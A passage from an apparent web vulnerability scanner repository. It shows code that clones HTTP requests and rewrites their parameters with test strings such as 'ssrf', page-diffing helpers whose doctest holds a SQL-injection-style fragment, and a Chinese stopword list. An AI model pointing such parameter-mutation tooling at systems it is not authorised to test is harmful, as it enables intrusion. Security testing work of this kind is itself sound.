json.dumps(request_dict['body'], separators=(',', ':'), ensure_ascii=False) 288 | else: 289 | request_raw += self.assemble_parameter(request_dict['param_in_body']) 290 | return request_raw 291 | 292 | def generate_request_data_list(self, request_data, update_str, mode): 293 | """ 294 | 生成发送请求所需的字典 295 | :param request_data: 296 | :param update_str: 297 | :param mode: 298 | :return: 299 | """ 300 | type = request_data['content_type'] 301 | param_url_dict = request_data['param_in_url'] 302 | param_body_dict = request_data['param_in_body'] 303 | # json_body_dict = request_data['body'] 304 | request_data_list = [] 305 | copy_data = copy.deepcopy(request_data) 306 | if type == 4: 307 | for i in self.updateJsonObjectFromStr(param_url_dict, update_str, mode): 308 | request_data['param_in_url'] = i 309 | try: 310 | request_data['body'] = json.loads(request_data['body']) 311 | except: 312 | pass 313 | request_data_list.append(copy.deepcopy(request_data)) 314 | 315 | for j in self.updateJsonObjectFromStr(json.loads(copy_data['body']), update_str, 316 | mode): 317 | copy_data['body'] = j 318 | request_data_list.append(copy.deepcopy(copy_data)) 319 | return request_data_list 320 | else: 321 | for i in self.updateJsonObjectFromStr(param_url_dict, update_str, mode): 322 | request_data['param_in_url'] = i 323 | # print(request_data) 324 | request_data_list.append(copy.deepcopy(request_data)) 325 | 326 | for j in self.updateJsonObjectFromStr(param_body_dict, update_str, mode): 327 | copy_data['param_in_body'] = j 328 | request_data_list.append(copy.deepcopy(copy_data)) 329 | return request_data_list 330 | 331 | def generate_request_for_first(self, request_data): 332 | """ 333 | 发送原始请求,没有经过修改的请求 334 | :param request_data: 335 | :return: 336 | """ 337 | request_data_copy = copy.deepcopy(request_data) 338 | try: 339 | request_data_copy['body'] = json.loads(request_data_copy['body']) 340 | except: 341 | pass 342 | return self.generateRequest(request_data_copy), self.generateResponse(self.processRequest(request_data_copy)) 343 | 344 | 345 | # if __name__ == '__main__': 346 | # http = HttpWappalyzer() 347 | # req = requests.get('https://www.baidu.com') 348 | # print(http.generateResponse(req)) 349 | 350 | # if __name__ == '__main__': 351 | # x = {'set': {'service1':{"service2":123,"z":[9,10]}},'sorce_api_key': 'ce29a51aa5c94a318755b2529dcb8e0b','a': [1,'api_key',{"service6":[9,'service',{"xxx":123}]}],'api_key':123,'name':'xxxx'} 352 | # y = {'set': 444, 'sorce_api_key': 'ce29a51aa5c94a318755b2529dcb8e0b', 353 | # 'a': [1,2,{"qt":"script"}], 'api_key': 123} 354 | # 355 | # myJsonObj2 = {"name":"网站","num":3,"service0": [{"name1":"Google", "info":["Android", "Google 搜索", "Google 翻译" ] },{"name2":"Runoob", "info":["菜鸟教程", "菜鸟工具", "菜鸟微信" ] },{ "name3":"Taobao", "info":["淘宝", "网购" ] }]} 356 | # http = HttpWappalyzer() 357 | # for i in http.updateJsonObjectFromStr(y,22,0): 358 | # print(i) 359 | # x = {'set':'aaa','k':'zzzz'} 360 | # http = HttpWappalyzer() 361 | # http2 = HttpWappalyzer() 362 | # for i in http.updateJsonObjectFromStr(x, 'ssrf', 2): 363 | # print(i) 364 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/depycode/burpsuite_hack/e34fe40e8fbc7cd3baf72981aeeeb1bb4def0be5/lib/utils/__init__.py -------------------------------------------------------------------------------- /lib/utils/diffpage.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import re 3 | from difflib import SequenceMatcher 4 | from functools import reduce 5 | 6 | from six import unichr 7 | 8 | 9 | def getFilteredPageContent(page, onlyText=True, split=" "): 10 | """ 11 | Returns filtered page content without script, style and/or comments 12 | or all HTML tags 13 | >>> getFilteredPageContent(u'foobartest') 14 | u'foobar test' 15 | """ 16 | 17 | retVal = page 18 | 19 | # only if the page's charset has been successfully identified 20 | retVal = re.sub( 21 | r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), 22 | split, page) 23 | while retVal.find(2 * split) != -1: 24 | retVal = retVal.replace(2 * split, split) 25 | retVal = htmlunescape(retVal.strip().strip(split)) 26 | 27 | return retVal 28 | 29 | 30 | def getPageWordSet(page): 31 | """ 32 | Returns word set used in page content 33 | >>> sorted(getPageWordSet(u'foobartest')) 34 | [u'foobar', u'test'] 35 | """ 36 | 37 | retVal = set() 38 | 39 | # only if the page's charset has been successfully identified 40 | _ = getFilteredPageContent(page) 41 | retVal = set(re.findall(r"\w+", _)) 42 | 43 | return retVal 44 | 45 | 46 | def htmlunescape(value): 47 | """ 48 | Returns (basic conversion) HTML unescaped value 49 | >>> htmlunescape('a<b') 50 | 'a'), ('"', '"'), (' ', ' '), ('&', '&')) 55 | retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) 56 | try: 57 | retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal) 58 | except ValueError: 59 | pass 60 | return retVal 61 | 62 | 63 | def GetRatio(firstPage, secondPage): 64 | """ 65 | Prints words appearing in two different response pages 66 | 对比文本相似度,会去掉html标签 67 | """ 68 | firstPage = getFilteredPageContent(firstPage) 69 | secondPage = getFilteredPageContent(secondPage) 70 | 71 | match = SequenceMatcher(None, firstPage, secondPage).ratio() 72 | return match 73 | 74 | 75 | def split_by_sep(seq): 76 | """ 77 | This method will split the HTTP response body by various separators, 78 | such as new lines, tabs, <, double and single quotes. 79 | 80 | This method is very important for the precision we get in chunked_diff! 81 | 82 | If you're interested in a little bit of history take a look at the git log 83 | for this file and you'll see that at the beginning this method was splitting 84 | the input in chunks of equal length (32 bytes). This was a good initial 85 | approach but after a couple of tests it was obvious that when a difference 86 | (something that was in A but not B) was found the SequenceMatcher got 87 | desynchronized and the rest of the A and B strings were also shown as 88 | different, even though they were the same but "shifted" by a couple of 89 | bytes (the size length of the initial difference). 90 | 91 | After detecting this I changed the algorithm to separate the input strings 92 | to this one, which takes advantage of the HTML format which is usually 93 | split by lines and organized by tabs: 94 | * \n 95 | * \r 96 | * \t 97 | 98 | And also uses tags and attributes: 99 | * < 100 | * ' 101 | * " 102 | 103 | The single and double quotes will serve as separators for other HTTP 104 | response content types such as JSON. 105 | 106 | Splitting by was an option, but I believe it would create multiple 107 | chunks without much meaning and reduce the performance improvement we 108 | have achieved. 109 | 110 | :param seq: A string 111 | :return: A list of strings (chunks) for the input string 112 | """ 113 | chunks = [] 114 | chunk = '' 115 | 116 | for c in seq: 117 | if c in '\n\t\r"\'<': 118 | chunks.append(chunk) 119 | chunk = '' 120 | else: 121 | chunk += c 122 | 123 | chunks.append(chunk) 124 | 125 | return chunks 126 | 127 | 128 | def relative_distance_boolean(a_str, b_str, threshold=0.6): 129 | """ 130 | Indicates if the strings to compare are similar enough. This (optimized) 131 | function is equivalent to the expression: 132 | relative_distance(x, y) > threshold 133 | 134 | :param a_str: A string object 135 | :param b_str: A string object 136 | :param threshold: Float value indicating the expected "similarity". Must be 137 | 0 <= threshold <= 1.0 138 | :return: A boolean value 139 | """ 140 | if threshold == 0: 141 | return True 142 | elif threshold == 1.0: 143 | return a_str == b_str 144 | 145 | # First we need b_str to be the longer of both 146 | if len(b_str) < len(a_str): 147 | a_str, b_str = b_str, a_str 148 | 149 | alen = len(a_str) 150 | blen = len(b_str) 151 | 152 | if blen == 0 or alen == 0: 153 | return alen == blen 154 | 155 | if blen == alen and a_str == b_str and threshold <= 1.0: 156 | return True 157 | 158 | if threshold > upper_bound_similarity(a_str, b_str): 159 | return False 160 | else: 161 | # Bad, we can't optimize anything here 162 | simalar = SequenceMatcher(None, 163 | split_by_sep(a_str), 164 | split_by_sep(b_str)).quick_ratio() 165 | # print(simalar) 166 | return threshold <= simalar 167 | 168 | 169 | def upper_bound_similarity(a, b): 170 | return (2.0 * len(a)) / (len(a) + len(b)) 171 | 172 | 173 | def fuzzy_equal(a_str, b_str, threshold=0.6): 174 | # type: (object, object, object) -> object 175 | """ 176 | Indicates if the 'similarity' index between strings 177 | is *greater equal* than 'threshold'. See 'relative_distance_boolean'. 178 | """ 179 | return relative_distance_boolean(a_str, b_str, threshold) 180 | 181 | 182 | def findDynamicContent(firstPage, secondPage): 183 | """ 184 | This function checks if the provided pages have dynamic content. If they 185 | are dynamic, proper markings will be made 186 | 187 | >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") 188 | >>> kb.dynamicMarkings 189 | [('natum reque et per. ', 'Facer tritani repreh')] 190 | """ 191 | 192 | if not firstPage or not secondPage: 193 | return 194 | 195 | blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) 196 | dynamicMarkings = [] 197 | 198 | # Removing too small matching blocks 199 | DYNAMICITY_BOUNDARY_LENGTH = 20 200 | for block in blocks[:]: 201 | (_, _, length) = block 202 | 203 | if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: 204 | blocks.remove(block) 205 | 206 | # Making of dynamic markings based on prefix/suffix principle 207 | if len(blocks) > 0: 208 | blocks.insert(0, None) 209 | blocks.append(None) 210 | 211 | for i in range(len(blocks) - 1): 212 | prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None 213 | suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None 214 | 215 | if prefix is None and blocks[i + 1][0] == 0: 216 | continue 217 | 218 | if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): 219 | continue 220 | 221 | if prefix and suffix: 222 | prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] 223 | suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] 224 | 225 | for _ in (firstPage, secondPage): 226 | match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) 227 | if match: 228 | infix = match.group(1) 229 | if infix[0].isalnum(): 230 | prefix = trimAlphaNum(prefix) 231 | if infix[-1].isalnum(): 232 | suffix = trimAlphaNum(suffix) 233 | break 234 | 235 | dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) 236 | 237 | return dynamicMarkings 238 | 239 | 240 | def removeDynamicContent(page, dynamicMarkings): 241 | """ 242 | Removing dynamic content from supplied page basing removal on 243 | precalculated dynamic markings 244 | """ 245 | 246 | if page: 247 | for item in dynamicMarkings: 248 | prefix, suffix = item 249 | 250 | if prefix is None and suffix is None: 251 | continue 252 | elif prefix is None: 253 | page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) 254 | elif suffix is None: 255 | page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) 256 | else: 257 | page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), 258 | "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) 259 | 260 | return page 261 | 262 | 263 | def trimAlphaNum(value): 264 | """ 265 | Trims alpha numeric characters from start and ending of a given value 266 | 267 | >>> trimAlphaNum('AND 1>(2+3)-- foobar') 268 | ' 1>(2+3)-- ' 269 | """ 270 | 271 | while value and value[-1].isalnum(): 272 | value = value[:-1] 273 | 274 | while value and value[0].isalnum(): 275 | value = value[1:] 276 | 277 | return value 278 | -------------------------------------------------------------------------------- /lib/utils/diffpage_score.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | 3 | from lib.utils.diffpage import GetRatio 4 | 5 | class Diffpage_score: 6 | def get_score(self,s1,s2): 7 | return GetRatio(s1, s2) 8 | 9 | -------------------------------------------------------------------------------- /lib/utils/files/stopwords.txt: -------------------------------------------------------------------------------- 1 | ! 2 | " 3 | # 4 | $ 5 | % 6 | & 7 | ' 8 | ( 9 | ) 10 | * 11 | + 12 | , 13 | - 14 | -- 15 | . 16 | .. 17 | ... 18 | ...... 19 | ................... 20 | ./ 21 | .一 22 | 记者 23 | 数 24 | 年 25 | 月 26 | 日 27 | 时 28 | 分 29 | 秒 30 | / 31 | // 32 | 0 33 | 1 34 | 2 35 | 3 36 | 4 37 | 5 38 | 6 39 | 7 40 | 8 41 | 9 42 | : 43 | :// 44 | :: 45 | ; 46 | < 47 | = 48 | > 49 | >> 50 | ? 51 | @ 52 | A 53 | Lex 54 | [ 55 | \ 56 | ] 57 | 【 58 | 】 59 | ^ 60 | _ 61 | ` 62 | exp 63 | sub 64 | sup 65 | | 66 | } 67 | ~ 68 | ~~~~ 69 | · 70 | × 71 | ××× 72 | Δ 73 | Ψ 74 | γ 75 | μ 76 | φ 77 | φ. 78 | В 79 | — 80 | —— 81 | ——— 82 | ‘ 83 | ’ 84 | ’‘ 85 | “ 86 | ” 87 | ”, 88 | … 89 | …… 90 | …………………………………………………③ 91 | ′∈ 92 | ′| 93 | ℃ 94 | Ⅲ 95 | ↑ 96 | → 97 | ∈[ 98 | ∪φ∈ 99 | ≈ 100 | ① 101 | ② 102 | ②c 103 | ③ 104 | ③] 105 | ④ 106 | ⑤ 107 | ⑥ 108 | ⑦ 109 | ⑧ 110 | ⑨ 111 | ⑩ 112 | ── 113 | ■ 114 | ▲ 115 |   116 | 、 117 | 。 118 | 〈 119 | 〉 120 | 《 121 | 》 122 | 》), 123 | 」 124 | 『 125 | 』 126 | 〔 127 | 〕 128 | 〕〔 129 | ㈧ 130 | 一 131 | 一. 132 | 一一 133 | 一下 134 | 一个 135 | 一些 136 | 一何 137 | 一切 138 | 一则 139 | 一则通过 140 | 一天 141 | 一定 142 | 一方面 143 | 一旦 144 | 一时 145 | 一来 146 | 一样 147 | 一次 148 | 一片 149 | 一番 150 | 一直 151 | 一致 152 | 一般 153 | 一起 154 | 一转眼 155 | 一边 156 | 一面 157 | 七 158 | 万一 159 | 三 160 | 三天两头 161 | 三番两次 162 | 三番五次 163 | 上 164 | 上下 165 | 上升 166 | 上去 167 | 上来 168 | 上述 169 | 上面 170 | 下 171 | 下列 172 | 下去 173 | 下来 174 | 下面 175 | 不 176 | 不一 177 | 不下 178 | 不久 179 | 不了 180 | 不亦乐乎 181 | 不仅 182 | 不仅...而且 183 | 不仅仅 184 | 不仅仅是 185 | 不会 186 | 不但 187 | 不但...而且 188 | 不光 189 | 不免 190 | 不再 191 | 不力 192 | 不单 193 | 不变 194 | 不只 195 | 不可 196 | 不可开交 197 | 不可抗拒 198 | 不同 199 | 不外 200 | 不外乎 201 | 不够 202 | 不大 203 | 不如 204 | 不妨 205 | 不定 206 | 不对 207 | 不少 208 | 不尽 209 | 不尽然 210 | 不巧 211 | 不已 212 | 不常 213 | 不得 214 | 不得不 215 | 不得了 216 | 不得已 217 | 不必 218 | 不怎么 219 | 不怕 220 | 不惟 221 | 不成 222 | 不拘 223 | 不择手段 224 | 不敢 225 | 不料 226 | 不断 227 | 不日 228 | 不时 229 | 不是 230 | 不曾 231 | 不止 232 | 不止一次 233 | 不比 234 | 不消 235 | 不满 236 | 不然 237 | 不然的话 238 | 不特 239 | 不独 240 | 不由得 241 | 不知不觉 242 | 不管 243 | 不管怎样 244 | 不经意 245 | 不胜 246 | 不能 247 | 不能不 248 | 不至于 249 | 不若 250 | 不要 251 | 不论 252 | 不起 253 | 不足 254 | 不过 255 | 不迭 256 | 不问 257 | 不限 258 | 与 259 | 与其 260 | 与其说 261 | 与否 262 | 与此同时 263 | 专门 264 | 且 265 | 且不说 266 | 且说 267 | 两者 268 | 严格 269 | 严重 270 | 个 271 | 个人 272 | 个别 273 | 中小 274 | 中间 275 | 丰富 276 | 串行 277 | 临 278 | 临到 279 | 为 280 | 为主 281 | 为了 282 | 为什么 283 | 为什麽 284 | 为何 285 | 为止 286 | 为此 287 | 为着 288 | 主张 289 | 主要 290 | 举凡 291 | 举行 292 | 乃 293 | 乃至 294 | 乃至于 295 | 么 296 | 之 297 | 之一 298 | 之前 299 | 之后 300 | 之後 301 | 之所以 302 | 之类 303 | 乌乎 304 | 乎 305 | 乒 306 | 乘 307 | 乘势 308 | 乘机 309 | 乘胜 310 | 乘虚 311 | 乘隙 312 | 九 313 | 也 314 | 也好 315 | 也就是说 316 | 也是 317 | 也罢 318 | 了 319 | 了解 320 | 争取 321 | 二 322 | 二来 323 | 二话不说 324 | 二话没说 325 | 于 326 | 于是 327 | 于是乎 328 | 云云 329 | 云尔 330 | 互 331 | 互相 332 | 五 333 | 些 334 | 交口 335 | 亦 336 | 产生 337 | 亲口 338 | 亲手 339 | 亲眼 340 | 亲自 341 | 亲身 342 | 人 343 | 人人 344 | 人们 345 | 人家 346 | 人民 347 | 什么 348 | 什么样 349 | 什麽 350 | 仅 351 | 仅仅 352 | 今 353 | 今后 354 | 今天 355 | 今年 356 | 今後 357 | 介于 358 | 仍 359 | 仍旧 360 | 仍然 361 | 从 362 | 从不 363 | 从严 364 | 从中 365 | 从事 366 | 从今以后 367 | 从优 368 | 从古到今 369 | 从古至今 370 | 从头 371 | 从宽 372 | 从小 373 | 从新 374 | 从无到有 375 | 从早到晚 376 | 从未 377 | 从来 378 | 从此 379 | 从此以后 380 | 从而 381 | 从轻 382 | 从速 383 | 从重 384 | 他 385 | 他人 386 | 他们 387 | 他是 388 | 他的 389 | 代替 390 | 以 391 | 以上 392 | 以下 393 | 以为 394 | 以便 395 | 以免 396 | 以前 397 | 以及 398 | 以后 399 | 以外 400 | 以後 401 | 以故 402 | 以期 403 | 以来 404 | 以至 405 | 以至于 406 | 以致 407 | 们 408 | 任 409 | 任何 410 | 任凭 411 | 任务 412 | 企图 413 | 伙同 414 | 会 415 | 伟大 416 | 传 417 | 传说 418 | 传闻 419 | 似乎 420 | 似的 421 | 但 422 | 但凡 423 | 但愿 424 | 但是 425 | 何 426 | 何乐而不为 427 | 何以 428 | 何况 429 | 何处 430 | 何妨 431 | 何尝 432 | 何必 433 | 何时 434 | 何止 435 | 何苦 436 | 何须 437 | 余外 438 | 作为 439 | 你 440 | 你们 441 | 你是 442 | 你的 443 | 使 444 | 使得 445 | 使用 446 | 例如 447 | 依 448 | 依据 449 | 依照 450 | 依靠 451 | 便 452 | 便于 453 | 促进 454 | 保持 455 | 保管 456 | 保险 457 | 俺 458 | 俺们 459 | 倍加 460 | 倍感 461 | 倒不如 462 | 倒不如说 463 | 倒是 464 | 倘 465 | 倘使 466 | 倘或 467 | 倘然 468 | 倘若 469 | 借 470 | 借以 471 | 借此 472 | 假使 473 | 假如 474 | 假若 475 | 偏偏 476 | 做到 477 | 偶尔 478 | 偶而 479 | 傥然 480 | 像 481 | 儿 482 | 允许 483 | 元/吨 484 | 充其极 485 | 充其量 486 | 充分 487 | 先不先 488 | 先后 489 | 先後 490 | 先生 491 | 光 492 | 光是 493 | 全体 494 | 全力 495 | 全年 496 | 全然 497 | 全身心 498 | 全部 499 | 全都 500 | 全面 501 | 八 502 | 八成 503 | 公然 504 | 六 505 | 兮 506 | 共 507 | 共同 508 | 共总 509 | 关于 510 | 其 511 | 其一 512 | 其中 513 | 其二 514 | 其他 515 | 其余 516 | 其后 517 | 其它 518 | 其实 519 | 其次 520 | 具体 521 | 具体地说 522 | 具体来说 523 | 具体说来 524 | 具有 525 | 兼之 526 | 内 527 | 再 528 | 再其次 529 | 再则 530 | 再有 531 | 再次 532 | 再者 533 | 再者说 534 | 再说 535 | 冒 536 | 冲 537 | 决不 538 | 决定 539 | 决非 540 | 况且 541 | 准备 542 | 凑巧 543 | 凝神 544 | 几 545 | 几乎 546 | 几度 547 | 几时 548 | 几番 549 | 几经 550 | 凡 551 | 凡是 552 | 凭 553 | 凭借 554 | 出 555 | 出于 556 | 出去 557 | 出来 558 | 出现 559 | 分别 560 | 分头 561 | 分期 562 | 分期分批 563 | 切 564 | 切不可 565 | 切切 566 | 切勿 567 | 切莫 568 | 则 569 | 则甚 570 | 刚 571 | 刚好 572 | 刚巧 573 | 刚才 574 | 初 575 | 别 576 | 别人 577 | 别处 578 | 别是 579 | 别的 580 | 别管 581 | 别说 582 | 到 583 | 到了儿 584 | 到处 585 | 到头 586 | 到头来 587 | 到底 588 | 到目前为止 589 | 前后 590 | 前此 591 | 前者 592 | 前进 593 | 前面 594 | 加上 595 | 加之 596 | 加以 597 | 加入 598 | 加强 599 | 动不动 600 | 动辄 601 | 勃然 602 | 匆匆 603 | 十分 604 | 千 605 | 千万 606 | 千万千万 607 | 半 608 | 单 609 | 单单 610 | 单纯 611 | 即 612 | 即令 613 | 即使 614 | 即便 615 | 即刻 616 | 即如 617 | 即将 618 | 即或 619 | 即是说 620 | 即若 621 | 却 622 | 却不 623 | 历 624 | 原来 625 | 去 626 | 又 627 | 又及 628 | 及 629 | 及其 630 | 及时 631 | 及至 632 | 双方 633 | 反之 634 | 反之亦然 635 | 反之则 636 | 反倒 637 | 反倒是 638 | 反应 639 | 反手 640 | 反映 641 | 反而 642 | 反过来 643 | 反过来说 644 | 取得 645 | 取道 646 | 受到 647 | 变成 648 | 古来 649 | 另 650 | 另一个 651 | 另一方面 652 | 另外 653 | 另悉 654 | 另方面 655 | 另行 656 | 只 657 | 只当 658 | 只怕 659 | 只是 660 | 只有 661 | 只消 662 | 只要 663 | 只限 664 | 叫 665 | 叫做 666 | 召开 667 | 叮咚 668 | 叮当 669 | 可 670 | 可以 671 | 可好 672 | 可是 673 | 可能 674 | 可见 675 | 各 676 | 各个 677 | 各人 678 | 各位 679 | 各地 680 | 各式 681 | 各种 682 | 各级 683 | 各自 684 | 合理 685 | 同 686 | 同一 687 | 同时 688 | 同样 689 | 后 690 | 后来 691 | 后者 692 | 后面 693 | 向 694 | 向使 695 | 向着 696 | 吓 697 | 吗 698 | 否则 699 | 吧 700 | 吧哒 701 | 吱 702 | 呀 703 | 呃 704 | 呆呆地 705 | 呐 706 | 呕 707 | 呗 708 | 呜 709 | 呜呼 710 | 呢 711 | 周围 712 | 呵 713 | 呵呵 714 | 呸 715 | 呼哧 716 | 呼啦 717 | 咋 718 | 和 719 | 咚 720 | 咦 721 | 咧 722 | 咱 723 | 咱们 724 | 咳 725 | 哇 726 | 哈 727 | 哈哈 728 | 哉 729 | 哎 730 | 哎呀 731 | 哎哟 732 | 哗 733 | 哗啦 734 | 哟 735 | 哦 736 | 哩 737 | 哪 738 | 哪个 739 | 哪些 740 | 哪儿 741 | 哪天 742 | 哪年 743 | 哪怕 744 | 哪样 745 | 哪边 746 | 哪里 747 | 哼 748 | 哼唷 749 | 唉 750 | 唯有 751 | 啊 752 | 啊呀 753 | 啊哈 754 | 啊哟 755 | 啐 756 | 啥 757 | 啦 758 | 啪达 759 | 啷当 760 | 喀 761 | 喂 762 | 喏 763 | 喔唷 764 | 喽 765 | 嗡 766 | 嗡嗡 767 | 嗬 768 | 嗯 769 | 嗳 770 | 嘎 771 | 嘎嘎 772 | 嘎登 773 | 嘘 774 | 嘛 775 | 嘻 776 | 嘿 777 | 嘿嘿 778 | 四 779 | 因 780 | 因为 781 | 因了 782 | 因此 783 | 因着 784 | 因而 785 | 固 786 | 固然 787 | 在 788 | 在下 789 | 在于 790 | 地 791 | 均 792 | 坚决 793 | 坚持 794 | 基于 795 | 基本 796 | 基本上 797 | 处在 798 | 处处 799 | 处理 800 | 复杂 801 | 多 802 | 多么 803 | 多亏 804 | 多多 805 | 多多少少 806 | 多多益善 807 | 多少 808 | 多年前 809 | 多年来 810 | 多数 811 | 多次 812 | 够瞧的 813 | 大 814 | 大不了 815 | 大举 816 | 大事 817 | 大体 818 | 大体上 819 | 大凡 820 | 大力 821 | 大多 822 | 大多数 823 | 大大 824 | 大家 825 | 大张旗鼓 826 | 大批 827 | 大抵 828 | 大概 829 | 大略 830 | 大约 831 | 大致 832 | 大都 833 | 大量 834 | 大面儿上 835 | 失去 836 | 奇 837 | 奈 838 | 奋勇 839 | 她 840 | 她们 841 | 她是 842 | 她的 843 | 好 844 | 好在 845 | 好的 846 | 好象 847 | 如 848 | 如上 849 | 如上所述 850 | 如下 851 | 如今 852 | 如何 853 | 如其 854 | 如前所述 855 | 如同 856 | 如常 857 | 如是 858 | 如期 859 | 如果 860 | 如次 861 | 如此 862 | 如此等等 863 | 如若 864 | 始而 865 | 姑且 866 | 存在 867 | 存心 868 | 孰料 869 | 孰知 870 | 宁 871 | 宁可 872 | 宁愿 873 | 宁肯 874 | 它 875 | 它们 876 | 它们的 877 | 它是 878 | 它的 879 | 安全 880 | 完全 881 | 完成 882 | 定 883 | 实现 884 | 实际 885 | 宣布 886 | 容易 887 | 密切 888 | 对 889 | 对于 890 | 对应 891 | 对待 892 | 对方 893 | 对比 894 | 将 895 | 将才 896 | 将要 897 | 将近 898 | 小 899 | 少数 900 | 尔 901 | 尔后 902 | 尔尔 903 | 尔等 904 | 尚且 905 | 尤其 906 | 就 907 | 就地 908 | 就是 909 | 就是了 910 | 就是说 911 | 就此 912 | 就算 913 | 就要 914 | 尽 915 | 尽可能 916 | 尽如人意 917 | 尽心尽力 918 | 尽心竭力 919 | 尽快 920 | 尽早 921 | 尽然 922 | 尽管 923 | 尽管如此 924 | 尽量 925 | 局外 926 | 居然 927 | 届时 928 | 属于 929 | 屡 930 | 屡屡 931 | 屡次 932 | 屡次三番 933 | 岂 934 | 岂但 935 | 岂止 936 | 岂非 937 | 川流不息 938 | 左右 939 | 巨大 940 | 巩固 941 | 差一点 942 | 差不多 943 | 己 944 | 已 945 | 已矣 946 | 已经 947 | 巴 948 | 巴巴 949 | 带 950 | 帮助 951 | 常 952 | 常常 953 | 常言说 954 | 常言说得好 955 | 常言道 956 | 平素 957 | 年复一年 958 | 并 959 | 并不 960 | 并不是 961 | 并且 962 | 并排 963 | 并无 964 | 并没 965 | 并没有 966 | 并肩 967 | 并非 968 | 广大 969 | 广泛 970 | 应当 971 | 应用 972 | 应该 973 | 庶乎 974 | 庶几 975 | 开外 976 | 开始 977 | 开展 978 | 引起 979 | 弗 980 | 弹指之间 981 | 强烈 982 | 强调 983 | 归 984 | 归根到底 985 | 归根结底 986 | 归齐 987 | 当 988 | 当下 989 | 当中 990 | 当儿 991 | 当前 992 | 当即 993 | 当口儿 994 | 当地 995 | 当场 996 | 当头 997 | 当庭 998 | 当时 999 | 当然 1000 | 当真 1001 | 当着 1002 | 形成 1003 | 彻夜 1004 | 彻底 1005 | 彼 1006 | 彼时 1007 | 彼此 1008 | 往 1009 | 往往 1010 | 待 1011 | 待到 1012 | 很 1013 | 很多 1014 | 很少 1015 | 後来 1016 | 後面 1017 | 得 1018 | 得了 1019 | 得出 1020 | 得到 1021 | 得天独厚 1022 | 得起 1023 | 心里 1024 | 必 1025 | 必定 1026 | 必将 1027 | 必然 1028 | 必要 1029 | 必须 1030 | 快 1031 | 快要 1032 | 忽地 1033 | 忽然 1034 | 怎 1035 | 怎么 1036 | 怎么办 1037 | 怎么样 1038 | 怎奈 1039 | 怎样 1040 | 怎麽 1041 | 怕 1042 | 急匆匆 1043 | 怪 1044 | 怪不得 1045 | 总之 1046 | 总是 1047 | 总的来看 1048 | 总的来说 1049 | 总的说来 1050 | 总结 1051 | 总而言之 1052 | 恍然 1053 | 恐怕 1054 | 恰似 1055 | 恰好 1056 | 恰如 1057 | 恰巧 1058 | 恰恰 1059 | 恰恰相反 1060 | 恰逢 1061 | 您 1062 | 您们 1063 | 您是 1064 | 惟其 1065 | 惯常 1066 | 意思 1067 | 愤然 1068 | 愿意 1069 | 慢说 1070 | 成为 1071 | 成年 1072 | 成年累月 1073 | 成心 1074 | 我 1075 | 我们 1076 | 我是 1077 | 我的 1078 | 或 1079 | 或则 1080 | 或多或少 1081 | 或是 1082 | 或曰 1083 | 或者 1084 | 或许 1085 | 战斗 1086 | 截然 1087 | 截至 1088 | 所 1089 | 所以 1090 | 所在 1091 | 所幸 1092 | 所有 1093 | 所谓 1094 | 才 1095 | 才能 1096 | 扑通 1097 | 打 1098 | 打从 1099 | 打开天窗说亮话 1100 | 扩大 1101 | 把 1102 | 抑或 1103 | 抽冷子 1104 | 拦腰 1105 | 拿 1106 | 按 1107 | 按时 1108 | 按期 1109 | 按照 1110 | 按理 1111 | 按说 1112 | 挨个 1113 | 挨家挨户 1114 | 挨次 1115 | 挨着 1116 | 挨门挨户 1117 | 挨门逐户 1118 | 换句话说 1119 | 换言之 1120 | 据 1121 | 据实 1122 | 据悉 1123 | 据我所知 1124 | 据此 1125 | 据称 1126 | 据说 1127 | 掌握 1128 | 接下来 1129 | 接着 1130 | 接著 1131 | 接连不断 1132 | 放量 1133 | 故 1134 | 故意 1135 | 故此 1136 | 故而 1137 | 敞开儿 1138 | 敢 1139 | 敢于 1140 | 敢情 1141 | 数/ 1142 | 整个 1143 | 断然 1144 | 方 1145 | 方便 1146 | 方才 1147 | 方能 1148 | 方面 1149 | 旁人 1150 | 无 1151 | 无宁 1152 | 无法 1153 | 无论 1154 | 既 1155 | 既...又 1156 | 既往 1157 | 既是 1158 | 既然 1159 | 日复一日 1160 | 日渐 1161 | 日益 1162 | 日臻 1163 | 日见 1164 | 时候 1165 | 昂然 1166 | 明显 1167 | 明确 1168 | 是 1169 | 是不是 1170 | 是以 1171 | 是否 1172 | 是的 1173 | 显然 1174 | 显著 1175 | 普通 1176 | 普遍 1177 | 暗中 1178 | 暗地里 1179 | 暗自 1180 | 更 1181 | 更为 1182 | 更加 1183 | 更进一步 1184 | 曾 1185 | 曾经 1186 | 替 1187 | 替代 1188 | 最 1189 | 最后 1190 | 最大 1191 | 最好 1192 | 最後 1193 | 最近 1194 | 最高 1195 | 有 1196 | 有些 1197 | 有关 1198 | 有利 1199 | 有力 1200 | 有及 1201 | 有所 1202 | 有效 1203 | 有时 1204 | 有点 1205 | 有的 1206 | 有的是 1207 | 有着 